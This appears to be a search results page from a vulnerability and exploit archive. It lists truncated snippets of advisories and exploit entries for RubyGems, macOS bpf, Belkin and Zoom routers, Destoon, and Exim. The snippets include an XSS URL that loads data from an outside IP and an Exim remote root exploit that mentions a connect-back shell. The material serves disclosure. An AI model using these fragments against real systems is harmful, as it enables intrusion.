157 matches found
VulnScan – Automated Triage and Root Cause Analysis of Memory Corruption Issues
The Microsoft Security Response Center MSRC receives reports about potential vulnerabilities in our products and it’s the job of our engineering team to assess the severity, impact, and root cause of these issues. In practice, a significant proportion of these reports turn out to be memory...
VulnScan – Automated Triage and Root Cause Analysis of Memory Corruption Issues
The Microsoft Security Response Center MSRC receives reports about potential vulnerabilities in our products and it’s the job of our engineering team to assess the severity, impact, and root cause of these issues. In practice, a significant proportion of these reports turn out to be memory...
RubyGems: Unpacker improperly validates symlinks, allowing gems writes to arbitrary locations
Unpacker improperly validates symlinks, allowing gems writes to arbitrary locations The RubyGems installer attempts to prevent a gem from writing any files outside the install directory; however it is possible to bypass the check with a symbolic link in a crafted gem. Example structure of malicio...
macOS / iOS Kernel 10.12.3 (16D32) - bpf Heap Overflow Exploit
Exploit for multiple platform in category dos / poc / Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1125 The bpf ioctl BIOCSBLEN allows userspace to set the bpf buffer length: case BIOCSBLEN: / uint / if d-bdbif != 0 error = EINVAL; else uint size; bcopyaddr, &size, sizeof siz...
Belkin F9K1122v1 1.00.30 - Buffer Overflow (via Cross-Site Request Forgery)
No description provided by source. import socket, sys , base64, struct, string, urllib from getopt import getopt as GetOpt, GetoptError from uuid import getnode as getmac import SimpleHTTPServer, SocketServer TIMELINE ''' 3/16/2016 - First Submission to Belkin no response 5/3/2016 - Second...
Belkin F9K1122v1 1.00.30 - Buffer Overflow (via Cross-Site Request Forgery)
import socket, sys , base64, struct, string, urllib from getopt import getopt as GetOpt, GetoptError from uuid import getnode as getmac import SimpleHTTPServer, SocketServer TIMELINE ''' 3/16/2016 - First Submission to Belkin no response 5/3/2016 - Second Submission to Belkin no response 6/4/2016...
houstontx.gov XSS vulnerability
Vulnerable URL: http://www.houstontx.gov/planning/urban/viewer.swf?xmlDataPath=http://45.55.162.179/vuln.xml Details: Description| Value ---|--- Patched:| Yes, at 17.12.2015 Latest check for patch:| 17.12.2015 06:25 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank...
HackerOne Vulnerability Coordination Maturity Model
The proliferation of independent and vendor-sponsored bug bounties has not only put some money in researchers’ pockets, but has also forced enterprises—and software makers—to put processes in place to handle outside bug reports. “Saying you want one is not enough,” said Katie Moussouris, chief...
CVE-2 0 1 4-1 7 7 2 – Internet Explorer Use After Free vulnerability detailed analysis-vulnerability warning-the black bar safety net
http://blog.trendmicro.com/trendlabs-security-intelligence/root-cause-analysis-of-cve-2014-1772-an-internet-explorer-use-after-free-vulnerability/ Translated from TrendLabs ! /Article/UploadPic/2014-11/2014111310206615.jpg We often see a wide variety of vulnerabilities, from the user-after-free...
HTML does not render in Project Description
If you enter HTML into the project description it does not get rendered. Reproduced this on a clean 6.3.8 instance. Looks like this has happened in the past: https://jira.atlassian.com/browse/JRA-20032 https://jira.atlassian.com/browse/JRA-15906 Regression? Or possibly a different root cause?...
HTML does not render in Project Description
If you enter HTML into the project description it does not get rendered. Reproduced this on a clean 6.3.8 instance. Looks like this has happened in the past: https://jira.atlassian.com/browse/JRA-20032 https://jira.atlassian.com/browse/JRA-15906 Regression? Or possibly a different root cause?...
HTML does not render in Project Description
If you enter HTML into the project description it does not get rendered. Reproduced this on a clean 6.3.8 instance. Looks like this has happened in the past: https://jira.atlassian.com/browse/JRA-20032 https://jira.atlassian.com/browse/JRA-15906 Regression? Or possibly a different root cause?...
Destoon最新版本20131010补丁后，全版本继续注入
简要描述： Destoon最新版本20131010补丁后，全版本继续注入 详细说明： 问题出在api/js.php这个漏洞，这个星期工作忙，结果别人提交了，官方补丁都出来了。 下载补丁，发现官方的修复比较马虎，没有理解漏洞的本质，分分钟绕过再次注入。 建议官方好好思考一下这个漏洞产生的根本原因。 漏洞证明： stripsql过滤了union这个字符串，但是实际上是可以绕过的。 由于需要伪造referer，所以用php写的脚本进行漏洞利用，需要根据实际情况修改里面的路径。 POC里面host参数为域名，本机测试为localhost，ver参数为版本，里面写了3,4,5三个版本的利用代码。...
Update: Linksys EA2700, EA3500, E4200v2, EA4500 Unspecified unauthenticated remote access
----------------------------------------------------------------------------- Vulnerabilities: An unspecified bug can cause an unsafe/undocumented TCP port to open allowing for: - Unauthenticated remote access to all pages of the router administration GUI, bypassing any credential prompts under...
Zoom X4 / X5 SQL Injection / Authentication Bypass
Vulnerable Products - Zoom X4 ADSL Modem and Router running Nucleus/4.3 UPnP/1.0Virata-EmWeb/R620 Server All GS Firmware versions Zoom X5 ADSL Modem and Router running Nucleus/4.3 UPnP/1.0Virata-EmWeb/R620 Server All GS Firmware versions Note: A similar vulnerability was reported several years ag...
Exim 4.63 Remote Root Exploit
Exploit for linux platform in category remote exploits Exim 4.63 RedHat/Centos/Debian Remote Root Exploit by Kingcope Modified perl version of metasploit module =for comment use this connect back shell as "trojanurl" and be sure to setup a netcat, ---snip--- $system = '/bin/sh'; email protected; ...
MS Withdraws Recent Windows Server Patch
Microsoft has withdrawn an update for Windows Server because the patch, issued eight days ago, does not treat the root cause of the problem it was meant to fix. MS10-025 was designed to address a flaw specific to Windows 2000 Server installations also running Windows Media Services. Read the full...